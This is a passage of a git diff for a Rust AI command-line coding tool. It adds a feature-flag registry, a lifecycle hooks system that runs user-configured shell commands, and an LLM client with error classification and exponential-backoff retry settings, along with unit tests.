ShellTool, + /// Enable background sub-agent tooling. + Subagents, + /// Enable web search tool. + WebSearch, + /// Enable apply_patch tool. + ApplyPatch, + /// Enable MCP tools. + Mcp, + /// Enable RLM tools. + Rlm, + /// Enable Duo tools. + Duo, + /// Enable execpolicy integration/tooling. + ExecPolicy, +} + +impl Feature { + pub fn key(self) -> &'static str { + self.info().key + } + + pub fn stage(self) -> Stage { + self.info().stage + } + + pub fn default_enabled(self) -> bool { + self.info().default_enabled + } + + fn info(self) -> &'static FeatureSpec { + FEATURES + .iter() + .find(|spec| spec.id == self) + .unwrap_or_else(|| unreachable!("missing FeatureSpec for {:?}", self)) + } +} + +/// Holds the effective set of enabled features. +#[derive(Debug, Clone, Default, PartialEq)] +pub struct Features { + enabled: BTreeSet, +} + +impl Features { + /// Starts with built-in defaults. + pub fn with_defaults() -> Self { + let mut set = BTreeSet::new(); + for spec in FEATURES { + if spec.default_enabled { + set.insert(spec.id); + } + } + Self { enabled: set } + } + + pub fn enabled(&self, feature: Feature) -> bool { + self.enabled.contains(&feature) + } + + pub fn enable(&mut self, feature: Feature) -> &mut Self { + self.enabled.insert(feature); + self + } + + pub fn disable(&mut self, feature: Feature) -> &mut Self { + self.enabled.remove(&feature); + self + } + + pub fn apply_map(&mut self, entries: &BTreeMap) { + for (key, enabled) in entries { + if let Some(feature) = feature_from_key(key) { + if *enabled { + self.enable(feature); + } else { + self.disable(feature); + } + } + } + } + + pub fn enabled_features(&self) -> Vec { + let mut list: Vec<_> = self.enabled.iter().copied().collect(); + list.sort(); + list + } +} + +/// Keys accepted in `[features]` tables. +pub fn is_known_feature_key(key: &str) -> bool { + FEATURES.iter().any(|spec| spec.key == key) +} + +pub fn feature_from_key(key: &str) -> Option { + FEATURES + .iter() + .find(|spec| spec.key == key) + .map(|spec| spec.id) +} + +pub fn feature_spec_by_key(key: &str) -> Option<&'static FeatureSpec> { + FEATURES.iter().find(|spec| spec.key == key) +} + +/// Deserializable features table for TOML. +#[derive(Serialize, Deserialize, Debug, Clone, Default, PartialEq)] +pub struct FeaturesToml { + #[serde(flatten)] + pub entries: BTreeMap, +} + +/// Single registry of all feature definitions. +#[derive(Debug, Clone, Copy)] +pub struct FeatureSpec { + pub id: Feature, + pub key: &'static str, + pub stage: Stage, + pub default_enabled: bool, +} + +pub const FEATURES: &[FeatureSpec] = &[ + FeatureSpec { + id: Feature::ShellTool, + key: "shell_tool", + stage: Stage::Stable, + default_enabled: true, + }, + FeatureSpec { + id: Feature::Subagents, + key: "subagents", + stage: Stage::Experimental, + default_enabled: true, + }, + FeatureSpec { + id: Feature::WebSearch, + key: "web_search", + stage: Stage::Experimental, + default_enabled: true, + }, + FeatureSpec { + id: Feature::ApplyPatch, + key: "apply_patch", + stage: Stage::Experimental, + default_enabled: true, + }, + FeatureSpec { + id: Feature::Mcp, + key: "mcp", + stage: Stage::Experimental, + default_enabled: true, + }, + FeatureSpec { + id: Feature::Rlm, + key: "rlm", + stage: Stage::Experimental, + default_enabled: true, + }, + FeatureSpec { + id: Feature::Duo, + key: "duo", + stage: Stage::Experimental, + default_enabled: true, + }, + FeatureSpec { + id: Feature::ExecPolicy, + key: "exec_policy", + stage: Stage::Experimental, + default_enabled: true, + }, +]; diff --git a/src/hooks.rs b/src/hooks.rs new file mode 100644 index 00000000..0e0ebcdc --- /dev/null +++ b/src/hooks.rs @@ -0,0 +1,787 @@ +//! Hooks system for `DeepSeek` CLI +//! +//! Provides lifecycle hooks that execute user-defined shell commands at: +//! - Session start/end +//! - Tool call before/after + +#![allow(dead_code)] +//! - Mode changes +//! - Message submission +//! - Error events +//! +//! Configuration is done via `[[hooks.hooks]]` in config.toml. + +// Note: anyhow is available if needed for future error handling +#[allow(unused_imports)] +use anyhow::{Context, Result}; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::io::Read; +use std::path::PathBuf; +use std::process::{Command, Stdio}; +use std::time::{Duration, Instant}; +use wait_timeout::ChildExt; + +/// Events that can trigger hook execution +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum HookEvent { + /// Triggered when a new session starts + SessionStart, + /// Triggered when a session ends (quit, Ctrl+C) + SessionEnd, + /// Triggered before a user message is sent to the LLM + MessageSubmit, + /// Triggered before a tool is executed + ToolCallBefore, + /// Triggered after a tool completes (success or failure) + ToolCallAfter, + /// Triggered when the user changes modes (Normal, Edit, Agent, Plan) + ModeChange, + /// Triggered when an error occurs + OnError, +} + +impl HookEvent { + /// Get string representation for environment variable + pub fn as_str(self) -> &'static str { + match self { + HookEvent::SessionStart => "session_start", + HookEvent::SessionEnd => "session_end", + HookEvent::MessageSubmit => "message_submit", + HookEvent::ToolCallBefore => "tool_call_before", + HookEvent::ToolCallAfter => "tool_call_after", + HookEvent::ModeChange => "mode_change", + HookEvent::OnError => "on_error", + } + } +} + +/// Condition for when a hook should run +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "type", rename_all = "snake_case")] +#[derive(Default)] +pub enum HookCondition { + /// Always run this hook + #[default] + Always, + /// Only run for specific tool names + ToolName { + /// Tool name to match (e.g., "`exec_shell`", "`write_file`") + name: String, + }, + /// Only run for specific tool categories + ToolCategory { + /// Category: "safe", "`file_write`", "shell" + category: String, + }, + /// Only run in specific modes + Mode { + /// Mode: "plan", "agent", "yolo", "rlm", "duo" + mode: String, + }, + /// Only run when exit code matches (for `ToolCallAfter`) + ExitCode { + /// Exit code to match + code: i32, + }, + /// Combine multiple conditions with AND + All { conditions: Vec }, + /// Combine multiple conditions with OR + Any { conditions: Vec }, +} + +/// A single hook definition +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Hook { + /// The event that triggers this hook + pub event: HookEvent, + + /// Shell command to execute (platform shell: `sh -c` on Unix, `cmd /C` on Windows) + pub command: String, + + /// Optional condition for when this hook should run + #[serde(default)] + pub condition: Option, + + /// Timeout in seconds (default: 30) + #[serde(default = "default_timeout")] + pub timeout_secs: u64, + + /// Run in background (don't wait for completion) + #[serde(default)] + pub background: bool, + + /// Continue if this hook fails (default: true) + #[serde(default = "default_continue_on_error")] + pub continue_on_error: bool, + + /// Optional name for logging/debugging + #[serde(default)] + pub name: Option, +} + +fn default_timeout() -> u64 { + 30 +} +fn default_continue_on_error() -> bool { + true +} + +impl Hook { + /// Create a new hook with minimal configuration + pub fn new(event: HookEvent, command: &str) -> Self { + Self { + event, + command: command.to_string(), + condition: None, + timeout_secs: 30, + background: false, + continue_on_error: true, + name: None, + } + } + + /// Builder: set condition + pub fn with_condition(mut self, condition: HookCondition) -> Self { + self.condition = Some(condition); + self + } + + /// Builder: set timeout + pub fn with_timeout(mut self, secs: u64) -> Self { + self.timeout_secs = secs; + self + } + + /// Builder: run in background + pub fn background(mut self) -> Self { + self.background = true; + self + } + + /// Builder: set name + pub fn with_name(mut self, name: &str) -> Self { + self.name = Some(name.to_string()); + self + } +} + +/// Configuration for hooks (loaded from config.toml) +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +pub struct HooksConfig { + /// List of hooks to execute + #[serde(default)] + pub hooks: Vec, + + /// Global enable/disable for all hooks + #[serde(default = "default_enabled")] + pub enabled: bool, + + /// Global timeout override (applies if hook doesn't specify one) + #[serde(default)] + pub default_timeout_secs: Option, + + /// Working directory for hook execution (default: workspace) + #[serde(default)] + pub working_dir: Option, +} + +fn default_enabled() -> bool { + true +} + +impl HooksConfig { + /// Get hooks for a specific event + pub fn hooks_for_event(&self, event: HookEvent) -> Vec<&Hook> { + if !self.enabled { + return Vec::new(); + } + self.hooks.iter().filter(|h| h.event == event).collect() + } + + /// Check if hooks are configured and enabled + pub fn has_hooks(&self) -> bool { + self.enabled && !self.hooks.is_empty() + } +} + +/// Context passed to hooks via environment variables +#[derive(Debug, Clone, Default)] +pub struct HookContext { + /// Tool name (for ToolCallBefore/After) + pub tool_name: Option, + /// Tool arguments as JSON string + pub tool_args: Option, + /// Tool result output (truncated) + pub tool_result: Option, + /// Tool exit code if applicable + pub tool_exit_code: Option, + /// Whether tool succeeded + pub tool_success: Option, + /// Current mode + pub mode: Option, + /// Previous mode (for `ModeChange`) + pub previous_mode: Option, + /// Session ID + pub session_id: Option, + /// User message content + pub message: Option, + /// Error message (for `OnError`) + pub error_message: Option, + /// Workspace path + pub workspace: Option, + /// Current model name + pub model: Option, + /// Total tokens used + pub total_tokens: Option, + /// Session cost in USD + pub session_cost: Option, +} + +impl HookContext { + pub fn new() -> Self { + Self::default() + } + + pub fn with_tool_name(mut self, name: &str) -> Self { + self.tool_name = Some(name.to_string()); + self + } + + pub fn with_tool_args(mut self, args: &serde_json::Value) -> Self { + self.tool_args = Some(args.to_string()); + self + } + + pub fn with_tool_result(mut self, result: &str, success: bool, exit_code: Option) -> Self { + self.tool_result = Some(result.to_string()); + self.tool_success = Some(success); + self.tool_exit_code = exit_code; + self + } + + pub fn with_mode(mut self, mode: &str) -> Self { + self.mode = Some(mode.to_string()); + self + } + + pub fn with_previous_mode(mut self, mode: &str) -> Self { + self.previous_mode = Some(mode.to_string()); + self + } + + pub fn with_workspace(mut self, path: PathBuf) -> Self { + self.workspace = Some(path); + self + } + + pub fn with_model(mut self, model: &str) -> Self { + self.model = Some(model.to_string()); + self + } + + pub fn with_session_id(mut self, session_id: &str) -> Self { + self.session_id = Some(session_id.to_string()); + self + } + + pub fn with_message(mut self, message: &str) -> Self { + self.message = Some(message.to_string()); + self + } + + pub fn with_error(mut self, error: &str) -> Self { + self.error_message = Some(error.to_string()); + self + } + + pub fn with_tokens(mut self, tokens: u32) -> Self { + self.total_tokens = Some(tokens); + self + } + + pub fn with_cost(mut self, cost: f64) -> Self { + self.session_cost = Some(cost); + self + } + + /// Convert to environment variables + pub fn to_env_vars(&self) -> HashMap { + let mut env = HashMap::new(); + + if let Some(ref name) = self.tool_name { + env.insert("DEEPSEEK_TOOL_NAME".to_string(), name.clone()); + } + if let Some(ref args) = self.tool_args { + env.insert("DEEPSEEK_TOOL_ARGS".to_string(), args.clone()); + } + if let Some(ref result) = self.tool_result { + // Truncate result to 10KB to avoid environment variable size limits + let truncated = if result.len() > 10000 { + format!("{}...[truncated]", &result[..10000]) + } else { + result.clone() + }; + env.insert("DEEPSEEK_TOOL_RESULT".to_string(), truncated); + } + if let Some(code) = self.tool_exit_code { + env.insert("DEEPSEEK_TOOL_EXIT_CODE".to_string(), code.to_string()); + } + if let Some(success) = self.tool_success { + env.insert("DEEPSEEK_TOOL_SUCCESS".to_string(), success.to_string()); + } + if let Some(ref mode) = self.mode { + env.insert("DEEPSEEK_MODE".to_string(), mode.clone()); + } + if let Some(ref prev) = self.previous_mode { + env.insert("DEEPSEEK_PREVIOUS_MODE".to_string(), prev.clone()); + } + if let Some(ref session_id) = self.session_id { + env.insert("DEEPSEEK_SESSION_ID".to_string(), session_id.clone()); + } + if let Some(ref message) = self.message { + // Truncate message to prevent env var issues + let truncated = if message.len() > 5000 { + format!("{}...[truncated]", &message[..5000]) + } else { + message.clone() + }; + env.insert("DEEPSEEK_MESSAGE".to_string(), truncated); + } + if let Some(ref error) = self.error_message { + env.insert("DEEPSEEK_ERROR".to_string(), error.clone()); + } + if let Some(ref ws) = self.workspace { + env.insert("DEEPSEEK_WORKSPACE".to_string(), ws.display().to_string()); + } + if let Some(ref model) = self.model { + env.insert("DEEPSEEK_MODEL".to_string(), model.clone()); + } + if let Some(tokens) = self.total_tokens { + env.insert("DEEPSEEK_TOTAL_TOKENS".to_string(), tokens.to_string()); + } + if let Some(cost) = self.session_cost { + env.insert("DEEPSEEK_SESSION_COST".to_string(), format!("{cost:.6}")); + } + + env + } +} + +/// Result of a hook execution +#[derive(Debug, Clone)] +pub struct HookResult { + /// Hook name (if specified) + pub name: Option, + /// Whether the hook succeeded + pub success: bool, + /// Exit code from the hook command + pub exit_code: Option, + /// Standard output + pub stdout: String, + /// Standard error + pub stderr: String, + /// Time taken to execute + pub duration: Duration, + /// Error message if execution failed + pub error: Option, +} + +/// Executor for running hooks +#[derive(Debug, Clone)] +pub struct HookExecutor { + config: HooksConfig, + default_working_dir: PathBuf, + session_id: String, +} + +impl HookExecutor { + fn build_shell_command(command: &str) -> Command { + #[cfg(windows)] + { + let mut cmd = Command::new("cmd"); + cmd.arg("/C").arg(command); + cmd + } + #[cfg(not(windows))] + { + let mut cmd = Command::new("sh"); + cmd.arg("-c").arg(command); + cmd + } + } + + /// Create a new `HookExecutor` with configuration + pub fn new(config: HooksConfig, default_working_dir: PathBuf) -> Self { + // Generate a session ID + let session_id = format!("sess_{}", &uuid::Uuid::new_v4().to_string()[..8]); + Self { + config, + default_working_dir, + session_id, + } + } + + /// Create a disabled `HookExecutor` (no hooks will run) + pub fn disabled() -> Self { + Self { + config: HooksConfig { + enabled: false, + ..Default::default() + }, + default_working_dir: PathBuf::from("."), + session_id: String::new(), + } + } + + /// Check if hooks are enabled + pub fn is_enabled(&self) -> bool { + self.config.enabled + } + + /// Get the session ID + pub fn session_id(&self) -> &str { + &self.session_id + } + + /// Execute all hooks for an event + pub fn execute(&self, event: HookEvent, context: &HookContext) -> Vec { + if !self.config.enabled { + return Vec::new(); + } + + let hooks = self.config.hooks_for_event(event); + let env_vars = context.to_env_vars(); + let mut results = Vec::new(); + + for hook in hooks { + if !self.matches_condition(hook, context) { + continue; + } + + let result = if hook.background { + self.execute_background(hook, &env_vars) + } else { + self.execute_sync(hook, &env_vars) + }; + + let should_continue = result.success || hook.continue_on_error; + results.push(result); + + if !should_continue { + break; + } + } + + results + } + + /// Check if a hook's condition matches the context + #[allow(clippy::only_used_in_recursion)] + fn matches_condition(&self, hook: &Hook, context: &HookContext) -> bool { + match &hook.condition { + None | Some(HookCondition::Always) => true, + Some(HookCondition::ToolName { name }) => { + context.tool_name.as_ref().is_some_and(|n| n == name) + } + Some(HookCondition::ToolCategory { category }) => { + // Map tool names to categories + let tool_category = context.tool_name.as_ref().map(|name| match name.as_str() { + "exec_shell" => "shell", + "write_file" | "edit_file" | "apply_patch" => "file_write", + "read_file" | "list_dir" | "grep_files" => "safe", + _ => "other", + }); + tool_category.is_some_and(|c| c == category.as_str()) + } + Some(HookCondition::Mode { mode }) => context + .mode + .as_ref() + .is_some_and(|m| m.to_lowercase() == mode.to_lowercase()), + Some(HookCondition::ExitCode { code }) => context.tool_exit_code == Some(*code), + Some(HookCondition::All { conditions }) => conditions.iter().all(|c| { + self.matches_condition( + &Hook { + condition: Some(c.clone()), + ..hook.clone() + }, + context, + ) + }), + Some(HookCondition::Any { conditions }) => conditions.iter().any(|c| { + self.matches_condition( + &Hook { + condition: Some(c.clone()), + ..hook.clone() + }, + context, + ) + }), + } + } + + /// Execute a hook synchronously + fn execute_sync(&self, hook: &Hook, env_vars: &HashMap) -> HookResult { + let started = Instant::now(); + let working_dir = self + .config + .working_dir + .clone() + .unwrap_or_else(|| self.default_working_dir.clone()); + + let timeout_secs = self + .config + .default_timeout_secs + .unwrap_or(hook.timeout_secs); + let timeout = Duration::from_secs(timeout_secs); + + let mut child = match Self::build_shell_command(&hook.command) + .current_dir(&working_dir) + .envs(env_vars) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn() + { + Ok(child) => child, + Err(e) => { + return HookResult { + name: hook.name.clone(), + success: false, + exit_code: None, + stdout: String::new(), + stderr: String::new(), + duration: started.elapsed(), + error: Some(format!("Failed to spawn hook: {e}")), + }; + } + }; + + fn read_pipe(mut pipe: impl Read) -> String { + let mut buf = String::new(); + let _ = pipe.read_to_string(&mut buf); + buf + } + + match child.wait_timeout(timeout) { + Ok(Some(status)) => HookResult { + name: hook.name.clone(), + success: status.success(), + exit_code: status.code(), + stdout: child.stdout.take().map(read_pipe).unwrap_or_default(), + stderr: child.stderr.take().map(read_pipe).unwrap_or_default(), + duration: started.elapsed(), + error: None, + }, + Ok(None) => { + let _ = child.kill(); + let _ = child.wait(); + HookResult { + name: hook.name.clone(), + success: false, + exit_code: None, + stdout: String::new(), + stderr: String::new(), + duration: started.elapsed(), + error: Some(format!("Hook timed out after {}s", timeout_secs)), + } + } + Err(e) => HookResult { + name: hook.name.clone(), + success: false, + exit_code: None, + stdout: String::new(), + stderr: String::new(), + duration: started.elapsed(), + error: Some(format!("Failed to wait for hook: {e}")), + }, + } + } + + /// Execute a hook in the background (non-blocking) + fn execute_background(&self, hook: &Hook, env_vars: &HashMap) -> HookResult { + let started = Instant::now(); + let working_dir = self + .config + .working_dir + .clone() + .unwrap_or_else(|| self.default_working_dir.clone()); + + let cmd = hook.command.clone(); + let env = env_vars.clone(); + let wd = working_dir.clone(); + + // Spawn in a detached thread + std::thread::spawn(move || { + let _ = HookExecutor::build_shell_command(&cmd) + .current_dir(&wd) + .envs(&env) + .output(); + }); + + // Return immediately with success (background execution is fire-and-forget) + HookResult { + name: hook.name.clone(), + success: true, + exit_code: None, + stdout: String::new(), + stderr: String::new(), + duration: started.elapsed(), + error: None, + } + } +} + +// === Unit Tests === + +#[cfg(test)] +mod tests { + use super::*; + use std::collections::HashMap; + use std::path::PathBuf; + + #[test] + fn test_hook_event_as_str() { + assert_eq!(HookEvent::SessionStart.as_str(), "session_start"); + assert_eq!(HookEvent::ToolCallAfter.as_str(), "tool_call_after"); + assert_eq!(HookEvent::ModeChange.as_str(), "mode_change"); + } + + #[test] + fn test_hook_context_to_env_vars() { + let ctx = HookContext::new() + .with_tool_name("exec_shell") + .with_mode("agent") + .with_workspace(PathBuf::from("/tmp")); + + let env = ctx.to_env_vars(); + + assert_eq!( + env.get("DEEPSEEK_TOOL_NAME"), + Some(&"exec_shell".to_string()) + ); + assert_eq!(env.get("DEEPSEEK_MODE"), Some(&"agent".to_string())); + assert_eq!(env.get("DEEPSEEK_WORKSPACE"), Some(&"/tmp".to_string())); + } + + #[test] + fn test_hook_condition_always() { + let hook = Hook::new(HookEvent::SessionStart, "echo test"); + let executor = HookExecutor::disabled(); + let context = HookContext::new(); + + assert!(executor.matches_condition(&hook, &context)); + } + + #[test] + fn test_hook_condition_tool_name() { + let hook = Hook::new(HookEvent::ToolCallBefore, "echo test").with_condition( + HookCondition::ToolName { + name: "exec_shell".to_string(), + }, + ); + + let executor = HookExecutor::disabled(); + + let context_match = HookContext::new().with_tool_name("exec_shell"); + let context_no_match = HookContext::new().with_tool_name("write_file"); + + assert!(executor.matches_condition(&hook, &context_match)); + assert!(!executor.matches_condition(&hook, &context_no_match)); + } + + #[test] + fn test_hook_condition_mode() { + let hook = + Hook::new(HookEvent::ModeChange, "echo test").with_condition(HookCondition::Mode { + mode: "agent".to_string(), + }); + + let executor = HookExecutor::disabled(); + + let context_match = HookContext::new().with_mode("AGENT"); // Case insensitive + let context_no_match = HookContext::new().with_mode("normal"); + + assert!(executor.matches_condition(&hook, &context_match)); + assert!(!executor.matches_condition(&hook, &context_no_match)); + } + + #[test] + fn test_hooks_config_for_event() { + let config = HooksConfig { + enabled: true, + hooks: vec![ + Hook::new(HookEvent::SessionStart, "echo start"), + Hook::new(HookEvent::SessionEnd, "echo end"), + Hook::new(HookEvent::SessionStart, "echo start2"), + ], + ..Default::default() + }; + + let start_hooks = config.hooks_for_event(HookEvent::SessionStart); + assert_eq!(start_hooks.len(), 2); + + let end_hooks = config.hooks_for_event(HookEvent::SessionEnd); + assert_eq!(end_hooks.len(), 1); + } + + #[test] + fn test_hooks_config_disabled() { + let config = HooksConfig { + enabled: false, + hooks: vec![Hook::new(HookEvent::SessionStart, "echo start")], + ..Default::default() + }; + + let hooks = config.hooks_for_event(HookEvent::SessionStart); + assert!(hooks.is_empty()); + } + + #[test] + fn test_hook_builder() { + let hook = Hook::new(HookEvent::ToolCallAfter, "notify.sh") + .with_name("notify_tool") + .with_timeout(60) + .background() + .with_condition(HookCondition::ToolCategory { + category: "shell".to_string(), + }); + + assert_eq!(hook.name, Some("notify_tool".to_string())); + assert_eq!(hook.timeout_secs, 60); + assert!(hook.background); + assert!(matches!( + hook.condition, + Some(HookCondition::ToolCategory { .. }) + )); + } + + #[test] + fn test_hook_timeout_enforced() { + let command = if cfg!(windows) { + "ping -n 3 127.0.0.1 > nul" + } else { + "sleep 2" + }; + let hook = Hook::new(HookEvent::SessionStart, command).with_timeout(1); + let executor = HookExecutor::new(HooksConfig::default(), PathBuf::from(".")); + let env_vars = HashMap::new(); + + let result = executor.execute_sync(&hook, &env_vars); + assert!(!result.success); + assert!( + result + .error + .as_ref() + .is_some_and(|e| e.contains("timed out")) + ); + } + + #[test] + fn test_executor_session_id() { + let executor = HookExecutor::new(HooksConfig::default(), PathBuf::from(".")); + + assert!(executor.session_id().starts_with("sess_")); + assert_eq!(executor.session_id().len(), 13); // "sess_" + 8 chars + } +} diff --git a/src/llm_client.rs b/src/llm_client.rs new file mode 100644 index 00000000..62b9631c --- /dev/null +++ b/src/llm_client.rs @@ -0,0 +1,1073 @@ +//! LLM Client Trait and Retry Logic +//! +//! This module provides a unified interface for LLM providers with robust retry logic, +//! exponential backoff, and proper error classification. +//! +//! # Architecture +//! +//! - `LlmClient` trait: Async interface for LLM providers (DeepSeek, `OpenAI`, etc.) +//! - `RetryConfig`: Configurable retry behavior with exponential backoff and jitter +//! - `LlmError`: Classified errors with retryability information + +#![allow(dead_code)] +//! - `with_retry`: Generic retry wrapper for any async operation +//! +//! # Example +//! +//! ```ignore +//! use crate::llm_client::{LlmClient, RetryConfig, with_retry}; +//! +//! let config = RetryConfig::default(); +//! let result = with_retry(&config, || async { +//! client.create_message(request).await +//! }, None).await; +//! ``` + +use crate::config::RetryPolicy; +use crate::models::{MessageRequest, MessageResponse, StreamEvent}; +use anyhow::Result; +use std::future::Future; +use std::pin::Pin; +use std::time::{Duration, Instant}; + +// === LlmClient Trait === + +/// Type alias for boxed stream of SSE events +pub type StreamEventBox = + Pin> + Send + 'static>>; + +/// Unified interface for LLM providers. +/// +/// This trait abstracts over different LLM APIs (DeepSeek, `OpenAI`, etc.) +/// allowing the agent to work with any provider that implements this interface. +/// +/// # Implementation Notes +/// +/// - All methods are async and require `Send + Sync` for thread safety +/// - The `create_message_stream` method returns a pinned boxed stream for SSE +/// - Implementations should handle their own authentication and base URL configuration +#[allow(async_fn_in_trait)] +pub trait LlmClient: Send + Sync { + /// Returns the provider name (e.g., "openai", "deepseek") + fn provider_name(&self) -> &'static str; + + /// Returns the model identifier being used + fn model(&self) -> &str; + + /// Creates a non-streaming message completion + async fn create_message(&self, request: MessageRequest) -> Result; + + /// Creates a streaming message completion + /// + /// Returns a stream of SSE events that should be consumed until completion. + async fn create_message_stream(&self, request: MessageRequest) -> Result; + + /// Optional health check to verify API connectivity + async fn health_check(&self) -> Result { + Ok(true) + } +} + +/// Trait for clients that support configurable retry behavior +pub trait RetryConfigurable { + fn retry_config(&self) -> &RetryConfig; + fn set_retry_config(&mut self, config: RetryConfig); +} + +// === LlmError - Classified Error Types === + +/// Classified LLM errors with retryability information. +/// +/// This enum categorizes API errors to enable smart retry decisions. +/// Some errors (rate limits, transient server errors) are retryable, +/// while others (auth failures, invalid requests) should fail immediately. +#[derive(Debug)] +pub enum LlmError { + /// Rate limit exceeded (HTTP 429) + /// Contains optional Retry-After duration from server + RateLimited { + message: String, + retry_after: Option, + }, + + /// Server error (HTTP 5xx) + ServerError { status: u16, message: String }, + + /// Network connectivity error + NetworkError(String), + + /// Request timed out + Timeout(Duration), + + /// Authentication failed (HTTP 401, 403) + AuthenticationError(String), + + /// Invalid request parameters (HTTP 400) + InvalidRequest { status: u16, message: String }, + + /// Model-specific error (model not found, etc.) + ModelError(String), + + /// Content policy violation (safety filters) + ContentPolicyError(String), + + /// Failed to parse API response + ParseError(String), + + /// Context length exceeded + ContextLengthError(String), + + /// Catch-all for other errors + Other(String), +} + +impl std::fmt::Display for LlmError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + LlmError::RateLimited { message, .. } => write!(f, "Rate limit exceeded: {message}"), + LlmError::ServerError { status, message } => { + write!(f, "Server error ({status}): {message}") + } + LlmError::NetworkError(msg) => write!(f, "Network error: {msg}"), + LlmError::Timeout(d) => write!(f, "Request timed out after {d:?}"), + LlmError::AuthenticationError(msg) => write!(f, "Authentication failed: {msg}"), + LlmError::InvalidRequest { status, message } => { + write!(f, "Invalid request ({status}): {message}") + } + LlmError::ModelError(msg) => write!(f, "Model error: {msg}"), + LlmError::ContentPolicyError(msg) => write!(f, "Content policy violation: {msg}"), + LlmError::ParseError(msg) => write!(f, "Response parsing error: {msg}"), + LlmError::ContextLengthError(msg) => write!(f, "Context length exceeded: {msg}"), + LlmError::Other(msg) => write!(f, "LLM error: {msg}"), + } + } +} + +impl std::error::Error for LlmError {} + +impl LlmError { + /// Determines if this error is potentially transient and worth retrying. + /// + /// Retryable errors: + /// - Rate limits (with backoff) + /// - Server errors (5xx) + /// - Network errors (connection issues) + /// - Timeouts + /// + /// Non-retryable errors: + /// - Authentication failures + /// - Invalid requests + /// - Content policy violations + /// - Context length errors + pub fn is_retryable(&self) -> bool { + matches!( + self, + LlmError::RateLimited { .. } + | LlmError::ServerError { .. } + | LlmError::NetworkError(_) + | LlmError::Timeout(_) + ) + } + + /// Returns the server-suggested retry delay if available. + /// + /// This is typically present for rate limit errors when the server + /// provides a Retry-After header. + pub fn suggested_retry_delay(&self) -> Option { + match self { + LlmError::RateLimited { retry_after, .. } => *retry_after, + _ => None, + } + } + + /// Constructs an `LlmError` from HTTP status code and response body. + /// + /// Performs heuristic classification based on: + /// - Status code (429 = rate limit, 401/403 = auth, 5xx = server error) + /// - Response body keywords (`context_length`, `content_policy`, safety, etc.) + pub fn from_http_response(status: u16, body: &str) -> Self { + match status { + 429 => LlmError::RateLimited { + message: body.to_string(), + retry_after: None, + }, + 401 | 403 => LlmError::AuthenticationError(body.to_string()), + 400 => { + // Classify 400 errors by examining the response body + let body_lower = body.to_lowercase(); + if body_lower.contains("context_length") + || body_lower.contains("token") + || body_lower.contains("too long") + || body_lower.contains("maximum") + { + LlmError::ContextLengthError(body.to_string()) + } else if body_lower.contains("content_policy") + || body_lower.contains("safety") + || body_lower.contains("harmful") + || body_lower.contains("inappropriate") + { + LlmError::ContentPolicyError(body.to_string()) + } else if body_lower.contains("model") && body_lower.contains("not found") { + LlmError::ModelError(body.to_string()) + } else { + LlmError::InvalidRequest { + status, + message: body.to_string(), + } + } + } + 404 => { + if body.to_lowercase().contains("model") { + LlmError::ModelError(body.to_string()) + } else { + LlmError::InvalidRequest { + status, + message: body.to_string(), + } + } + } + 500..=599 => LlmError::ServerError { + status, + message: body.to_string(), + }, + _ => LlmError::Other(format!("HTTP {status}: {body}")), + } + } + + /// Constructs an `LlmError` from HTTP status code, body, and optional Retry-After header. + pub fn from_http_response_with_retry_after( + status: u16, + body: &str, + retry_after: Option, + ) -> Self { + let mut error = Self::from_http_response(status, body); + if let LlmError::RateLimited { + retry_after: ref mut ra, + .. + } = error + { + *ra = retry_after; + } + error + } + + /// Constructs an `LlmError` from a reqwest error. + pub fn from_reqwest(err: &reqwest::Error) -> Self { + if err.is_timeout() { + LlmError::Timeout(Duration::from_secs(0)) + } else if err.is_connect() { + LlmError::NetworkError(format!("Connection failed: {err}")) + } else if err.is_request() { + LlmError::NetworkError(format!("Request failed: {err}")) + } else { + LlmError::Other(err.to_string()) + } + } +} + +impl From for LlmError { + fn from(err: reqwest::Error) -> Self { + LlmError::from_reqwest(&err) + } +} + +impl From for LlmError { + fn from(err: serde_json::Error) -> Self { + LlmError::ParseError(err.to_string()) + } +} + +// === RetryConfig - Exponential Backoff Configuration === + +/// Configuration for retry behavior with exponential backoff. +/// +/// This struct controls how retries are performed: +/// - Number of retry attempts +/// - Delay calculation (exponential backoff with optional jitter) +/// - Which HTTP status codes are retryable +/// - Timeout handling +/// +/// # Default Values +/// +/// - `enabled`: true +/// - `max_retries`: 3 +/// - `initial_delay`: 1.0 seconds +/// - `max_delay`: 60.0 seconds +/// - `exponential_base`: 2.0 +/// - `jitter`: true (adds randomness to prevent thundering herd) +/// - `jitter_factor`: 0.1 (10% variation) +/// - `retryable_status_codes`: [429, 500, 502, 503, 504] +#[derive(Debug, Clone)] +pub struct RetryConfig { + /// Whether retry logic is enabled + pub enabled: bool, + + /// Maximum number of retry attempts (0 = no retries, 3 = up to 4 total attempts) + pub max_retries: u32, + + /// Initial delay before first retry (seconds) + pub initial_delay: f64, + + /// Maximum delay between retries (seconds) + pub max_delay: f64, + + /// Base for exponential backoff (delay = initial * base^attempt) + pub exponential_base: f64, + + /// Whether to add random jitter to delays + pub jitter: bool, + + /// Jitter factor (0.1 = +/- 10% variation) + pub jitter_factor: f64, + + /// Whether to respect server's Retry-After header + pub respect_retry_after: bool, + + /// HTTP status codes that should trigger a retry + pub retryable_status_codes: Vec, + + /// Timeout for individual requests (seconds, 0 = no timeout) + pub request_timeout: f64, + + /// Total timeout for all retry attempts (seconds, 0 = no total timeout) + pub total_timeout: f64, +} + +impl Default for RetryConfig { + fn default() -> Self { + Self { + enabled: true, + max_retries: 3, + initial_delay: 1.0, + max_delay: 60.0, + exponential_base: 2.0, + jitter: true, + jitter_factor: 0.1, + respect_retry_after: true, + retryable_status_codes: vec![429, 500, 502, 503, 504], + request_timeout: 120.0, + total_timeout: 0.0, // No total timeout by default + } + } +} + +impl RetryConfig { + /// Creates a new `RetryConfig` with default values + pub fn new() -> Self { + Self::default() + } + + /// Creates a config with retry disabled + pub fn disabled() -> Self { + Self { + enabled: false, + ..Default::default() + } + } + + /// Builder method to set max retries + pub fn with_max_retries(mut self, max_retries: u32) -> Self { + self.max_retries = max_retries; + self + } + + /// Builder method to set initial delay + pub fn with_initial_delay(mut self, delay: f64) -> Self { + self.initial_delay = delay; + self + } + + /// Builder method to set 